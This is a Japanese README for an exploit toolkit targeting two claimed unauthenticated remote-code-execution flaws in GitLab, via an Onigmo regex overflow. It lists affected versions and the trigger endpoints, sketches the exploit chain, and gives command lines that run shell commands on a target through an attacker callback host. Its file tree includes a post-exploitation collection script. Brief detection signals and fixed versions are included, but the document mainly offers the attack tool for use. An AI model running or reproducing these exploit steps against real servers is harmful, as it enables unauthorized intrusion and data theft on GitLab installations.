
CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE エクスプロイトツールキット (CVSS 10.0)
CVE-2026-97229 + CVE-2026-110264 — Onigmo 正規表現エンジンの整数オーバーフローを悪用した、GitLab CE/EE における 2 件の重大(CVSS 10.0)な未認証 RCE 脆弱性。
許可されたテストのみ。 すべてのターゲットはあなた自身のものであるか、書面による許可の対象である必要があります。
| CVE | ベクター | 影響範囲 | トリガー | 認証要否 |
|---|---|---|---|---|
| CVE-2026-97229 | CI/CD 正規表現コンパイラ | 19.2.0–19.4.1 | GET /api/v4/projects/:id/ci/lint | 未認証でトリガー可能(セットアップには書き込みアクセスが必要) |
| CVE-2026-110264 | Org-mode .org レンダリング | 7.0–19.5.0 | 細工された .org ファイルをレンダリング | アカウント不要 |
両方の CVE は同じ根本原因を悪用します: Onigmo 正規表現エンジンの整数オーバーフロー → OOB 書き込み → VM ハイジャック → system()。違いは配信経路です:
.gitlab-ci.yml の rules:exists:regexp に含まれる悪意ある正規表現 → CI lint API.org ファイル内の悪意ある #+TODO: キーワード → Org-mode レンダラー# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
--token glpat-xxx --callback-host YOUR_IP \
--command 'id; hostname' --authorized --scope scope.txt
# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
--callback-host YOUR_IP --command 'id'
# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only
exploit/
├── cve97229.py # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py # Org-mode render RCE (CVE-2026-110264)
├── layout.py # libruby.so offset derivation
├── common.py # shared Onigmo payload + callback server
└── post/
└── collect.sh # post-exploitation collection
lab/
├── run.sh # Docker lab launcher
└── stop.sh # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis
両方の CVE に対する 3 つのシグナル:
org-ruby または regexp_matcher.rb のフレームを伴う [BUG] Segmentation faultbadgateway: failed to receive response: EOF(?#) で分割された量指定子、[[:word:]] の繰り返し、4 バイト UTF-8 パス| CVE | 修正済み |
|---|---|
| CVE-2026-97229 | 19.2.8, 19.3.5, 19.4.2 |
| CVE-2026-110264 | 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1 |
MIT — 許可されたセキュリティテスト専用。